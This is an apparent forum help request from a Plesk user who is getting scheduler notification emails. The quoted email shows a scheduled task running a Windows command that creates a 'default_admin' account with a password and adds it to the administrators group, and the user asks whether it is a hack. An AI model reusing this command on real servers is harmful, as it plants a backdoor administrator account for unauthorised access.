  • The BIND DNS server has already been deprecated and removed from Plesk for Windows.
    If a Plesk for Windows server is still using BIND, the upgrade to Plesk Obsidian 18.0.70 will be unavailable until the administrator switches the DNS server to Microsoft DNS. We strongly recommend transitioning to Microsoft DNS within the next 6 weeks, before the Plesk 18.0.70 release.
  • The Horde component is removed from Plesk Installer. We recommend switching to another webmail software supported in Plesk.

Getting lots of Plesk Scheduler notification emails

Hi All,

I've been receiving several emails like the one below

> From: XXXXX
> To: XXXXX
> Date: Fri, 25 Apr 2014 17:56:00 -0500
> Subject: The Plesk Scheduler notification
>
> User: XXXXXXX
> Running task: C:\windows\system32\cmd.exe /c net user default_admin \zkmW0AtG5gijL /add & net localgroup administrators default_admin /add
> Started: Fri Apr 25 17:56:00 2014
> The task output is attached to the e-mail
> Ended with code 2: Fri Apr 25 17:56:00 2014

Further checking a Scheduled task is running in Plesk which is a creating a admin user "default_admin" with password "\zkmW0AtG5gijL" in my server. Is this a hacking attempt?.

Please help.
